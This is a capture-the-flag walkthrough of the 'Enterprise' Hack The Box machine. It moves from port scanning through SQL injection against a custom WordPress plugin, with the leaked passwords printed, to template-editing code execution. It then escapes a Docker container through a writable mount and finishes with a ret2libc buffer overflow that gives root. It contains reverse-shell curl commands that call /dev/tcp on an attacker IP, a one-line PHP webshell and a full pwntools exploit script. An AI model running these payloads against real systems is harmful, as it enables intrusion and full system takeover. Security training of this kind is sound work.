Enterprise Writeup
29 July 2023 #CTF #HTB #box #medium #linuxEnumeration
nmap
$ sudo nmap -p- 10.10.10.61
[...]
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
5355/tcp filtered llmnr
8080/tcp open http-proxy
32812/tcp open unknown
[...]
$ sudo nmap -p 22,80,443,8080,32812 -sC -sV 10.10.10.61
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4e98cc5b55223f4b8ced1964ac0faac (RSA)
| 256 f39a8558aad981382dea1518f78edd42 (ECDSA)
|_ 256 debf116dc027e3fc1b34c04f4f6c768b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: USS Enterprise – Ships Log
|_http-generator: WordPress 4.8.1
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-server-header: Apache/2.4.25 (Ubuntu)
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Issuer: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-08-25T10:35:14
| Not valid after: 2017-09-24T10:35:14
| MD5: 65f7f9839ad3f32e3c7db1b521762ff8
|_SHA-1: 6b0822b518381aea0a6fb4bfa62220a99381e04a
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Ubuntu Default Page: It works
|_ssl-date: TLS randomness does not represent time
5355/tcp filtered llmnr
8080/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
32812/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
| Enter Bridge Access Code:
| Invalid Code
| Terminating Console
| NULL:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
|_ Enter Bridge Access Code:
[...]
SSH
We can fingerprint the OS version with the SSH banner. In this case, the host seems to be running Ubuntu 17.04 (Zesty).
HTTP
Port 80
The Server HTTP header shows that it's running on Debian, which most likely means this webserver is in some kind of container/VM.
Standard Wordpress blog, the version (4.8.1) doesn't have exploits we can use and there are no interesting posts. We can enumerate users (william.riker) but that's it.
Port 443
This time, the Server header matches the SSH banner, so we can assume this webserver is running on the host.
We get the default Apache install page:
After some light directory bruteforcing, we find a directory with listing enabled:
After downloading and unziping this archive, we get 3 files. The most interesting one is lcars_db.php
:
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
// Connection Error
exit("Couldn't connect to the database: ".mysqli_connect_error());
}
// test to retireve an ID
if (isset($_GET['query'])){
$query = $_GET['query'];
$sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
$result = $db->query($sql);
echo $result;
} else {
echo "Failed to read query";
}
?>
It seems to be a custom Wordpress plugin. There is an obvious SQL injection since the GET parameter query
is directly passed in the SQL statement.
Also note that $db->query()
will return an object (or false
if it fails) so trying to echo
it would result in an error.
Port 8080
Like for the Wordpress site, this Joomla blog appears to be inside a container/VM.
We can find the version (3.7.5) in /administrator/manifests/files/joomla.xml
but there are no usable exploits for this version.
Foothold
Error Based SQLi
First, we need to verify that the plugin is actually installed on the Wordpress instance. Wordpress plugins are installed in /wp-content/plugins/
. We can find it at http://10.10.10.61/wp-content/plugins/lcars/
:
It returns a 403 Forbidden, confirming the existence of the plugin (we would get 404 if it wasn't there).
Since the code in lcars_db.php
is a bit broken we have to use a Error-based technique to exfil data from the DB. We'll use sqlmap
to dump the wp_posts
table:
sqlmap -u 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=test' --level=5 --risk=3 --dbms=mysql -D wordpress -T wp_posts --dump --threads=10
There is a private post that leaks a few passwords:
Needed somewhere to put some passwords quickly
ZxJyhGem4k338S2Y
enterprisencc170
ZD3YxfnSjezg67JZ
u*Z14ru0p#ttj83zS6
We can login to Wordpress with william.riker:u*Z14ru0p#ttj83zS6
(admin). We can also use the SQLi to dump the Joomla DB and discover 2 users: Guinan and geordi.la.forge. We can login to Joomla with Guinan:ZxJyhGem4k338S2Y
(regular user) and geordi.la.forge:ZD3YxfnSjezg67JZ
(admin).
Joomla & Wordpress Admin
To execute code on the underlying server, we'll need to edit a PHP template. In the top bar, click on Extensions -> Templates -> Templates and choose a template (I'll go with protostar):
We'll edit the error.php
file (any php file would work):
Save the modification and trigger the command execution:
curl 10.10.10.61:8080/templates/protostar/error.php --data-urlencode 'yep=bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"'
Same idea with Wordpress, in the left panel go to Appearance -> Editor and edit a PHP file (404.php in my case):
Get a reverse shell:
curl 10.10.10.61/wp-content/themes/twentyseventeen/404.php --data-urlencode 'yep=bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"'
Privesc
Docker Escape
Note that we need to be in the Joomla container to move on with the box.
Our assumption was correct. We are indeed in a docker container (the /.dockerenv
confirms it):
www-data@a7018bfdc454:/var/www/html/templates/protostar$ ls -Al /
total 72
-rwxr-xr-x 1 root root 0 Sep 3 2017 .dockerenv
drwxr-xr-x 2 root root 4096 May 30 2022 bin
drwxr-xr-x 2 root root 4096 May 30 2022 boot
[...]
Let's take a look at what folders are mounted inside this container:
www-data@a7018bfdc454:/var/www/html/templates/protostar$ mount
[...]
/dev/mapper/enterprise--vg-root on /var/www/html/files type ext4 (rw,relatime,errors=remount-ro,data=ordered)
[...]
There is something mounted at /var/www/html/files
. Let's take a look:
www-data@a7018bfdc454:/var/www/html$ ls -Alh /var/www/html
[...]
drwxrwxrwx 2 root root 4.0K Oct 17 2017 files
[...]
www-data@a7018bfdc454:/var/www/html$ ls -Alh /var/www/html/files
total 4.0K
-rw-r--r-- 1 root root 1.4K Oct 17 2017 lcars.zip
It seems to be the directory where we found the custom Wordpress plugin. Even though it's owned by root, everyone can write inside this directory. Let's put a simple PHP webshell:
www-data@a7018bfdc454:/var/www/html$ echo '<?php system($_REQUEST["yep"]);?>' > /var/www/html/files/shell.php
If we go back to the webserver on port 443, we can see our webshell:
We can use it to get a reverse shell on the host:
curl -k https://10.10.10.61/files/shell.php --data-urlencode 'yep=bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"'
ret2libc
There is a custom SETUID binary:
www-data@enterprise:/var/www/html/files$ find / -type f -perm -u=s -ls 2>/dev/null
[...]
131074 12 -rwsr-xr-x 1 root root 12152 Sep 8 2017 /bin/lcars
It is also the service running on port 32812 with xinetd
:
www-data@enterprise:/var/www/html/files$ cat /etc/xinetd.d/lcars
service lcars
{
type = UNLISTED
protocol = tcp
socket_type = stream
port = 32812
wait = no
server = /bin/lcars
user = root
}
When we run the binary, it asks us for an access code. We can find the code by running the executable with ltrace
:
$ ltrace ./lcars
[...]
fgets(test
"test\n", 9, 0xf7e1e620) = 0xffd9c847
strcmp("test\n", "picarda1") = 1
puts("\nInvalid Code\nTerminating Consol"...
Once we enter the access code, we can choose an action from the menu:
$ ./lcars
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
picarda1
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./lcars
It looks like there is a buffer overflow with option 4.
Let's find the offset at which point we overwrite the EIP register. I'll use gdb
with the gef extension:
$ gdb lcars
[...]
gef➤ pattern create
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/yep/CTF/HTB/machines/enterprise/pwn/lcars
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc8000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
picarda1
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
LCARS Bridge Secondary Controls -- Main Menu:
1. Navigation
2. Ships Log
3. Science
4. Security
5. StellaCartography
6. Engineering
7. Exit
Waiting for input:
4
Disable Security Force Fields
Enter Security Override:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
Rerouting Tertiary EPS Junctions: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwa
Program received signal SIGSEGV, Segmentation fault.
[...]
$eip : 0x63616164 ("daac"?)
[...]
gef➤ pattern search daac
[+] Searching for 'daac'
[+] Found at offset 308 (little-endian search) likely
[+] Found at offset 212 (big-endian search)
212 is the offset we want. Now we know we can put 212 bytes in our payload followed by an address and we will jump there.
One useful thing to note is that ASLR is disabled on the host:
www-data@enterprise:/var/www/html/files$ cat /proc/sys/kernel/randomize_va_space
0
This means that everything will be loaded at the same address each time we run the binary.
Now we need to find the address of the system()
function in libc and use the buffer overflow to jump to it and execute sh
.
www-data@enterprise:/var/www/html/files$ gdb /bin/lcars
[...]
(gdb) b main
Breakpoint 1 at 0xca0
(gdb) r
Starting program: /bin/lcars
Breakpoint 1, 0x56555ca0 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c060 <system>
(gdb) find 0xf7e32000,+5000000,"sh"
0xf7f6ddd5
0xf7f6e7e1
0xf7f70a14
0xf7f72582
warning: Unable to access 16000 bytes of target memory at 0xf7fc8485, halting search.
4 patterns found.
We have everything we need, let's write a simple exploit script:
#!/usr/bin/env python3
import struct
from pwn import *
access_code = b"picarda1"
menu_item = b"4"
eip_offset = 212
# convert addresses in little-endian representation
system_addr = struct.pack("I", 0xf7e4c060)
sh_addr = struct.pack("I", 0xf7f6ddd5)
payload = b"A" * eip_offset # overflow the buffer
payload += system_addr # put address of system() in EIP
payload += b"A" * 4 # return address of system() -> don't care
payload += sh_addr # argument of system() -> address of string "sh" + null byte
r = remote("10.10.10.61", 32812)
r.recvuntil(b"Enter Bridge Access Code:")
r.sendline(access_code)
r.recvuntil(b"Waiting for input:")
r.sendline(menu_item)
r.recvuntil(b"Enter Security Override:")
r.sendline(payload)
r.interactive()
We're using pwntools to handle the IO, and we also need to convert the addresses we have to little-endian with struct.pack()
.
Let's run it and see if we get a shell:
$ ./exploit.py
[+] Opening connection to 10.10.10.61 on port 32812: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
Nice, it worked!
Key Takeaways
- Look at mounts when inside a Docker container